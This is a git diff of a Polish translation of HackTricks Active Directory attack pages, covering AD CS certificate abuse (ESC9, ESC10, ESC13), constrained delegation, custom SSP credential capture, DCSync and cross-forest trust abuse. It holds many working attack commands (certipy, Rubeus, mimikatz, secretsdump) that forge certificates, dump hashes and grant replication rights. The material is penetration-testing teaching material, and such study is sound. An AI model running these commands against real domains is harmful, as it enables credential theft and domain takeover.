Załóżmy, że `John@corp.local` ma uprawnienia `GenericWrite` nad `Jane@corp.local`, z celem skompromitowania `Administrator@corp.local`. Szablon certyfikatu `ESC9`, w który `Jane@corp.local` ma prawo się zarejestrować, jest skonfigurowany z flagą `CT_FLAG_NO_SECURITY_EXTENSION` w swoim ustawieniu `msPKI-Enrollment-Flag`.
@ -422,11 +422,11 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```
Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` `Administratora`.
W związku z tym, szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany jako `Jane`:
Po tym, żądany jest szablon certyfikatu `ESC9`, oznaczony jako podatny, jako `Jane`:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Zauważono, że `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek object SID”.
Zauważono, że `userPrincipalName` certyfikatu odzwierciedla `Administrator`, pozbawiony jakiegokolwiek object SID”.
`userPrincipalName` `Jane` jest następnie przywracany do jej oryginalnego, `Jane@corp.local`:
```bash
@ -440,7 +440,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### Wyjaśnienie
Dwa wartości kluczy rejestru na kontrolerze domeny są określane przez ESC10:
Dwie wartości kluczy rejestru na kontrolerze domeny są określane przez ESC10:
- Wartość domyślna dla `CertificateMappingMethods` w `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` to `0x18` (`0x8 | 0x10`), wcześniej ustawiona na `0x1F`.
- Domyślne ustawienie dla `StrongCertificateBindingEnforcement` w `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` to `1`, wcześniej `0`.
@ -455,9 +455,9 @@ Jeśli `CertificateMappingMethods` zawiera bit `UPN` (`0x4`).
### Przypadek nadużycia 1
Gdy `StrongCertificateBindingEnforcement` jest skonfigurowane jako `0`, konto A z uprawnieniami `GenericWrite` może być wykorzystane do skompromitowania dowolnego konta B.
Przy `StrongCertificateBindingEnforcement` skonfigurowanym jako `0`, konto A z uprawnieniami `GenericWrite` może być wykorzystane do skompromitowania dowolnego konta B.
Na przykład, mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do skompromitowania `Administrator@corp.local`. Procedura odzwierciedla ESC9, pozwalając na wykorzystanie dowolnego szablonu certyfikatu.
Na przykład, mając uprawnienia `GenericWrite` do `Jane@corp.local`, atakujący dąży do skompromitowania `Administrator@corp.local`. Procedura przypomina ESC9, pozwalając na wykorzystanie dowolnego szablonu certyfikatu.
Początkowo, hash `Jane` jest pobierany za pomocą Shadow Credentials, wykorzystując `GenericWrite`.
```bash
@ -471,7 +471,7 @@ Następnie żądany jest certyfikat umożliwiający uwierzytelnianie klienta jak
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`userPrincipalName` `Jane` jest następnie przywracany do swojego pierwotnego, `Jane@corp.local`.
`Jane`'s `userPrincipalName` jest następnie przywracany do pierwotnej wartości, `Jane@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
@ -487,7 +487,7 @@ Celem jest skompromitowanie `DC$@corp.local`, zaczynając od uzyskania hasha `Ja
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`userPrincipalName` `Jane` jest następnie ustawiony na `DC$@corp.local`.
`Jane`'s `userPrincipalName` jest następnie ustawiony na `DC$@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
@ -495,15 +495,15 @@ Certyfikat do uwierzytelniania klienta jest żądany jako `Jane` przy użyciu do
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`userPrincipalName` `Jane` wraca do swojego pierwotnego stanu po tym procesie.
`Jane`'s `userPrincipalName` jest przywracany do pierwotnej wersji po tym procesie.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Aby uwierzytelnić się za pomocą Schannel, używana jest opcja `-ldap-shell` Certipy, która wskazuje na pomyślne uwierzytelnienie jako `u:CORP\DC$`.
Aby uwierzytelnić się za pomocą Schannel, używana jest opcja `-ldap-shell` Certipy, co wskazuje na pomyślne uwierzytelnienie jako `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Poprzez powłokę LDAP, polecenia takie jak `set_rbcd` umożliwiają ataki oparte na ograniczonej delegacji zasobów (RBCD), co może zagrozić kontrolerowi domeny.
Poprzez powłokę LDAP, polecenia takie jak `set_rbcd` umożliwiają ataki oparte na delegacji ograniczonej zasobami (RBCD), co może zagrozić kontrolerowi domeny.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Administratorzy mogą skonfigurować Urząd Certyfikacji, aby przechowywał go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2".
Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub serwer urządzenia USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniający (czasami nazywany "hasłem"), aby Dostawca Przechowywania Kluczy mógł generować i wykorzystywać klucze w YubiHSM.
Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub serwer urządzenia USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniający (czasami nazywany "hasłem"), aby dostawca przechowywania kluczy mógł generować i wykorzystywać klucze w YubiHSM.
Ten klucz/hasło jest przechowywane w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci niezaszyfrowanej.
@ -583,18 +583,18 @@ $ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat za pomocą certyfikatu CA i jego klucza prywatnego.
Na koniec użyj polecenia certutil `-sign`, aby sfałszować nowy dowolny certyfikat przy użyciu certyfikatu CA i jego klucza prywatnego.
## OID Group Link Abuse - ESC13
### Wyjaśnienie
Atrybut `msPKI-Certificate-Policy` pozwala na dodanie polityki wydania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za wydawanie polityk, można odkryć w Konfiguracji Nazewniczej (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu `msDS-OIDToGroupLink` tego obiektu, co umożliwia systemowi autoryzację użytkownika, który przedstawia certyfikat, tak jakby był członkiem grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Atrybut `msPKI-Certificate-Policy` pozwala na dodanie polityki wydania do szablonu certyfikatu. Obiekty `msPKI-Enterprise-Oid`, które są odpowiedzialne za wydawanie polityk, można odkryć w Konfiguracji Nazewnictwa (CN=OID,CN=Public Key Services,CN=Services) kontenera PKI OID. Polityka może być powiązana z grupą AD za pomocą atrybutu `msDS-OIDToGroupLink` tego obiektu, co umożliwia systemowi autoryzację użytkownika, który przedstawia certyfikat, tak jakby był członkiem grupy. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Innymi słowy, gdy użytkownik ma uprawnienia do rejestracji certyfikatu, a certyfikat jest powiązany z grupą OID, użytkownik może dziedziczyć uprawnienia tej grupy.
Użyj [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1), aby znaleźć OIDToGroupLink:
```powershell
```bash
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@ -617,11 +617,11 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```
### Scenariusz nadużycia
Znajdź uprawnienia użytkownika, które można wykorzystać za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`.
Znajdź uprawnienia użytkownika, które można wykorzystać `certipy find` lub `Certify.exe find /showAllPermissions`.
Jeśli `John` ma uprawnienia do rejestracji `VulnerableTemplate`, użytkownik może dziedziczyć uprawnienia grupy `VulnerableGroup`.
Wystarczy określić szablon, a otrzyma certyfikat z prawami OIDToGroupLink.
Wystarczy tylko określić szablon, a otrzyma certyfikat z prawami OIDToGroupLink.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
@ -629,11 +629,13 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
### Łamanie Zaufania Lasów przez Kompromitowane CA
Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA głównego** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA przedsiębiorstwa** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skompromentowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu.
Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA głównego** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA przedsiębiorstwa** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skomprymowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu.
### Uprawnienia do Rejestracji Przyznane Obcym Podmiotom
W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA przedsiębiorstwa, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA przedsiębiorstwa) **na rejestrację i prawa do edycji**.\
Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Tak więc, jeśli domena posiada CA przedsiębiorstwa z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiająca podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**.
W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA przedsiębiorstwa, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA przedsiębiorstwa) na **prawa rejestracji i edycji**.\
Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Tak więc, jeśli domena posiada CA przedsiębiorstwa z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiając podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**.
Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu do drugiego. Ustawienia szablonu certyfikatu mogą być wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,18 @@
## Constrained Delegation
Korzystając z tego, administrator domeny może **zezwolić** komputerowi na **podszywanie się pod użytkownika lub komputer** w stosunku do **usługi** maszyny.
Używając tego, administrator domeny może **zezwolić** komputerowi na **podszywanie się pod użytkownika lub komputer** w stosunku do dowolnej **usługi** maszyny.
- **Usługa dla użytkownika do siebie (**_**S4U2self**_**):** Jeśli **konto usługi** ma wartość _userAccountControl_ zawierającą [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), to może uzyskać TGS dla siebie (usługi) w imieniu dowolnego innego użytkownika.
- **Usługa dla użytkownika do proxy (**_**S4U2proxy**_**):** **Konto usługi** może uzyskać TGS w imieniu dowolnego użytkownika do usługi ustawionej w **msDS-AllowedToDelegateTo.** Aby to zrobić, najpierw potrzebuje TGS od tego użytkownika do siebie, ale może użyć S4U2self, aby uzyskać ten TGS przed zażądaniem innego.
- **Usługa dla użytkownika do siebie (_S4U2self_):** Jeśli **konto usługi** ma wartość _userAccountControl_ zawierającą [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), to może uzyskać TGS dla siebie (usługi) w imieniu dowolnego innego użytkownika.
- **Usługa dla użytkownika do proxy (_S4U2proxy_):** **Konto usługi** może uzyskać TGS w imieniu dowolnego użytkownika do usługi ustawionej w **msDS-AllowedToDelegateTo.** Aby to zrobić, najpierw potrzebuje TGS od tego użytkownika do siebie, ale może użyć S4U2self, aby uzyskać ten TGS przed zażądaniem innego.
**Uwaga**: Jeśli użytkownik jest oznaczony jako _Konto jest wrażliwe i nie może być delegowane_ w AD, **nie będziesz mógł się pod niego podszyć**.
Oznacza to, że jeśli **skompromitujesz hash usługi**, możesz **podszywać się pod użytkowników** i uzyskać **dostęp** w ich imieniu do **skonfigurowanej usługi** (możliwe **privesc**).
Oznacza to, że jeśli **skompromitujesz hash usługi**, możesz **podszywać się pod użytkowników** i uzyskać **dostęp** w ich imieniu do dowolnej **usługi** na wskazanych maszynach (możliwe **privesc**).
Ponadto, **nie będziesz miał tylko dostępu do usługi, pod którą użytkownik może się podszyć, ale także do każdej usługi**, ponieważ SPN (nazwa usługi żądanej) nie jest sprawdzana, tylko uprawnienia. Dlatego, jeśli masz dostęp do **usługi CIFS**, możesz również uzyskać dostęp do **usługi HOST** używając flagi `/altservice` w Rubeus.
Ponadto, **nie będziesz miał dostępu tylko do usługi, pod którą użytkownik może się podszyć, ale także do dowolnej usługi**, ponieważ SPN (nazwa usługi żądana) nie jest sprawdzana (w bilecie ta część nie jest szyfrowana/podpisana). Dlatego, jeśli masz dostęp do **usługi CIFS**, możesz również uzyskać dostęp do **usługi HOST** używając flagi `/altservice` w Rubeus na przykład.
Również, **dostęp do usługi LDAP na DC**, jest tym, co jest potrzebne do wykorzystania **DCSync**.
Również, **dostęp do usługi LDAP na DC** jest tym, co jest potrzebne do wykorzystania **DCSync**.
```bash:Enumerate
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
```bash:Quick Way
# Generate TGT + TGS impersonating a user knowing the hash
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
```
- Krok 1: **Uzyskaj TGT do dozwolonej usługi**
```bash:Get TGT
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
@ -36,17 +41,19 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
mimikatz sekurlsa::ekeys
## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
> [!WARNING]
> Istnieją **inne sposoby na uzyskanie biletu TGT** lub **RC4** lub **AES256** bez bycia SYSTEM na komputerze, takie jak błąd drukarki i nieograniczona delegacja, relaying NTLM oraz nadużycie usługi certyfikacji Active Directory.
>
> **Mając tylko ten bilet TGT (lub jego skrót), możesz przeprowadzić ten atak bez kompromitacji całego komputera.**
- Step2: **Uzyskaj TGS dla usługi, podszywając się pod użytkownika**
```bash:Using Rubeus
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

View File

@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
```
Dodaj `mimilib.dll` do listy dostawców wsparcia bezpieczeństwa (Pakiety zabezpieczeń):
```powershell
```bash
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
```
A po ponownym uruchomieniu wszystkie poświadczenia można znaleźć w czystym tekście w `C:\Windows\System32\kiwissp.log`
@ -27,7 +27,7 @@ A po ponownym uruchomieniu wszystkie poświadczenia można znaleźć w czystym t
#### W pamięci
Możesz również wstrzyknąć to bezpośrednio do pamięci za pomocą Mimikatz (zauważ, że może to być trochę niestabilne/nie działać):
```powershell
```bash
privilege::debug
misc::memssp
```

View File

@ -4,7 +4,7 @@
## DCSync
Uprawnienie **DCSync** oznacza posiadanie tych uprawnień nad samym domeną: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** i **Replicating Directory Changes In Filtered Set**.
Uprawnienie **DCSync** oznacza posiadanie tych uprawnień nad samą domeną: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** oraz **Replicating Directory Changes In Filtered Set**.
**Ważne uwagi dotyczące DCSync:**
@ -15,15 +15,15 @@ Uprawnienie **DCSync** oznacza posiadanie tych uprawnień nad samym domeną: **D
### Enumeration
Sprawdź, kto ma te uprawnienia, używając `powerview`:
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Eksploatacja lokalna
```powershell
### Wykorzystaj lokalnie
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Eksploatacja Zdalna
```powershell
### Wykorzystanie zdalne
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
@ -33,30 +33,30 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
- jeden z **hashami NTLM**
- jeden z **kluczami Kerberos**
- jeden z hasłami w postaci czystego tekstu z NTDS dla wszystkich kont ustawionych z włączonym [**szyfrowaniem odwracalnym**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption). Możesz uzyskać użytkowników z szyfrowaniem odwracalnym za pomocą
- jeden z hasłami w postaci czystego tekstu z NTDS dla wszystkich kont ustawionych z włączoną [**szyfrowaniem odwracalnym**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption). Możesz uzyskać użytkowników z szyfrowaniem odwracalnym za pomocą
```powershell
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Utrzymywanie dostępu
Jeśli jesteś administratorem domeny, możesz przyznać te uprawnienia dowolnemu użytkownikowi za pomocą `powerview`:
```powershell
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Następnie możesz **sprawdzić, czy użytkownik został poprawnie przypisany** 3 uprawnieniom, szukając ich w wynikach (powinieneś być w stanie zobaczyć nazwy uprawnień w polu "ObjectType"):
```powershell
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Mitigation
### Łagodzenie
- Security Event ID 4662 (Polityka audytu dla obiektu musi być włączona) Operacja została wykonana na obiekcie
- Security Event ID 5136 (Polityka audytu dla obiektu musi być włączona) Obiekt usługi katalogowej został zmodyfikowany
- Security Event ID 4670 (Polityka audytu dla obiektu musi być włączona) Uprawnienia do obiektu zostały zmienione
- Identyfikator zdarzenia zabezpieczeń 4662 (Polityka audytu dla obiektu musi być włączona) Operacja została wykonana na obiekcie
- Identyfikator zdarzenia zabezpieczeń 5136 (Polityka audytu dla obiektu musi być włączona) Obiekt usługi katalogowej został zmodyfikowany
- Identyfikator zdarzenia zabezpieczeń 4670 (Polityka audytu dla obiektu musi być włączona) Uprawnienia do obiektu zostały zmienione
- AD ACL Scanner - Twórz i porównuj raporty ACL. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## References
## Odniesienia
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)

View File

@ -1,4 +1,4 @@
# External Forest Domain - One-Way (Outbound)
# Zewnętrzna domena lasu - jednokierunkowa (wyjściowa)
{{#include ../../banners/hacktricks-training.md}}
@ -6,8 +6,8 @@ W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** dla podmiotu
## Enumeracja
### Zaufanie wychodzące
```powershell
### Zaufanie wyjściowe
```bash
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
@ -30,15 +30,15 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
```
## Atak na konto zaufania
Występuje luka w zabezpieczeniach, gdy nawiązywana jest relacja zaufania między dwoma domenami, określonymi tutaj jako domena **A** i domena **B**, gdzie domena **B** rozszerza swoje zaufanie do domeny **A**. W tej konfiguracji w domenie **A** tworzone jest specjalne konto dla domeny **B**, które odgrywa kluczową rolę w procesie uwierzytelniania między tymi dwiema domenami. To konto, powiązane z domeną **B**, jest wykorzystywane do szyfrowania biletów do uzyskiwania dostępu do usług w obu domenach.
Występuje luka w zabezpieczeniach, gdy nawiązywana jest relacja zaufania między dwoma domenami, określonymi tutaj jako domena **A** i domena **B**, gdzie domena **B** rozszerza swoje zaufanie do domeny **A**. W tej konfiguracji w domenie **A** tworzone jest specjalne konto dla domeny **B**, które odgrywa kluczową rolę w procesie uwierzytelniania między tymi dwiema domenami. To konto, powiązane z domeną **B**, jest wykorzystywane do szyfrowania biletów do uzyskiwania dostępu do usług w różnych domenach.
Krytycznym aspektem do zrozumienia jest to, że hasło i hash tego specjalnego konta mogą być wyodrębnione z kontrolera domeny w domenie **A** za pomocą narzędzia wiersza poleceń. Polecenie do wykonania tej akcji to:
```powershell
Kluczowym aspektem do zrozumienia jest to, że hasło i hash tego specjalnego konta mogą być wyodrębnione z kontrolera domeny w domenie **A** za pomocą narzędzia wiersza poleceń. Polecenie do wykonania tej akcji to:
```bash
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
```
Ta ekstrakcja jest możliwa, ponieważ konto, oznaczone znakiem **$** po swojej nazwie, jest aktywne i należy do grupy "Domain Users" w domenie **A**, dziedzicząc tym samym uprawnienia związane z tą grupą. Umożliwia to osobom uwierzytelnienie się w domenie **A** przy użyciu poświadczeń tego konta.
To ekstrakcji możliwej, ponieważ konto, oznaczone znakiem **$** po swojej nazwie, jest aktywne i należy do grupy "Domain Users" w domenie **A**, dziedzicząc tym samym uprawnienia związane z tą grupą. Umożliwia to osobom uwierzytelnienie się w domenie **A** przy użyciu poświadczeń tego konta.
**Ostrzeżenie:** Możliwe jest wykorzystanie tej sytuacji do uzyskania dostępu do domeny **A** jako użytkownik, chociaż z ograniczonymi uprawnieniami. Niemniej jednak, ten dostęp jest wystarczający do przeprowadzenia enumeracji w domenie **A**.
**Ostrzeżenie:** Możliwe jest wykorzystanie tej sytuacji do uzyskania dostępu do domeny **A** jako użytkownik, chociaż z ograniczonymi uprawnieniami. Jednak ten dostęp jest wystarczający do przeprowadzenia enumeracji w domenie **A**.
W scenariuszu, w którym `ext.local` jest domeną ufającą, a `root.local` jest domeną zaufaną, konto użytkownika o nazwie `EXT$` zostałoby utworzone w `root.local`. Przy użyciu określonych narzędzi możliwe jest zrzucenie kluczy zaufania Kerberos, ujawniając poświadczenia `EXT$` w `root.local`. Polecenie do osiągnięcia tego to:
```bash
@ -48,7 +48,7 @@ Następnie można użyć wyodrębnionego klucza RC4 do uwierzytelnienia jako `ro
```bash
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
```
Ten krok uwierzytelniania otwiera możliwość enumeracji, a nawet wykorzystania usług w `root.local`, takich jak przeprowadzenie ataku Kerberoast w celu wydobycia poświadczeń konta usługi za pomocą:
Ten krok uwierzytelniania otwiera możliwość enumeracji, a nawet wykorzystania usług w `root.local`, takich jak przeprowadzenie ataku Kerberoast w celu wyodrębnienia poświadczeń konta usługi za pomocą:
```bash
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
```
@ -60,13 +60,13 @@ Hasło w postaci czystego tekstu można uzyskać, konwertując wyjście \[ CLEAR
![](<../../images/image (938).png>)
Czasami podczas tworzenia relacji zaufania użytkownik musi wpisać hasło dla zaufania. W tej demonstracji klucz to oryginalne hasło zaufania i dlatego jest czytelne dla człowieka. W miarę cyklu klucza (30 dni) hasło w postaci czystego tekstu nie będzie czytelne dla człowieka, ale technicznie nadal będzie użyteczne.
Czasami podczas tworzenia relacji zaufania użytkownik musi wpisać hasło dla zaufania. W tej demonstracji klucz to oryginalne hasło zaufania i dlatego jest czytelne dla człowieka. W miarę cyklicznego zmieniania klucza (co 30 dni), hasło w postaci czystego tekstu nie będzie czytelne dla człowieka, ale technicznie nadal będzie użyteczne.
Hasło w postaci czystego tekstu można wykorzystać do przeprowadzenia zwykłej autoryzacji jako konto zaufania, co stanowi alternatywę dla żądania TGT przy użyciu tajnego klucza Kerberos konta zaufania. Tutaj zapytanie root.local z ext.local o członków Domain Admins:
Hasło w postaci czystego tekstu można wykorzystać do przeprowadzenia standardowej autoryzacji jako konto zaufania, co stanowi alternatywę dla żądania TGT przy użyciu tajnego klucza Kerberos konta zaufania. Tutaj zapytanie do root.local z ext.local o członków Domain Admins:
![](<../../images/image (792).png>)
## Referencje
## Odniesienia
- [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted)

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
W tym scenariuszu zewnętrzna domena ufa tobie (lub obie sobie ufają), więc możesz uzyskać jakiś rodzaj dostępu do niej.
W tym scenariuszu zewnętrzna domena ufa tobie (lub obie sobie ufają), więc możesz uzyskać pewnego rodzaju dostęp do niej.
## Enumeracja
Przede wszystkim musisz **enumerować** **zaufanie**:
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -60,10 +60,10 @@ W poprzedniej enumeracji stwierdzono, że użytkownik **`crossuser`** znajduje s
## Wstępny dostęp
Jeśli **nie udało się** znaleźć żadnego **specjalnego** dostępu twojego użytkownika w innej domenie, możesz wrócić do Metodologii AD i spróbować **privesc z użytkownika bez uprawnień** (rzeczy takie jak kerberoasting na przykład):
Jeśli **nie mogłeś** znaleźć żadnego **specjalnego** dostępu swojego użytkownika w innej domenie, możesz wrócić do Metodologii AD i spróbować **privesc z użytkownika bez uprawnień** (rzeczy takie jak kerberoasting na przykład):
Możesz użyć **funkcji Powerview** do **enumeracji** **innej domeny** używając parametru `-Domain`, jak w:
```powershell
```bash
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
{{#ref}}
@ -74,20 +74,20 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
### Logowanie
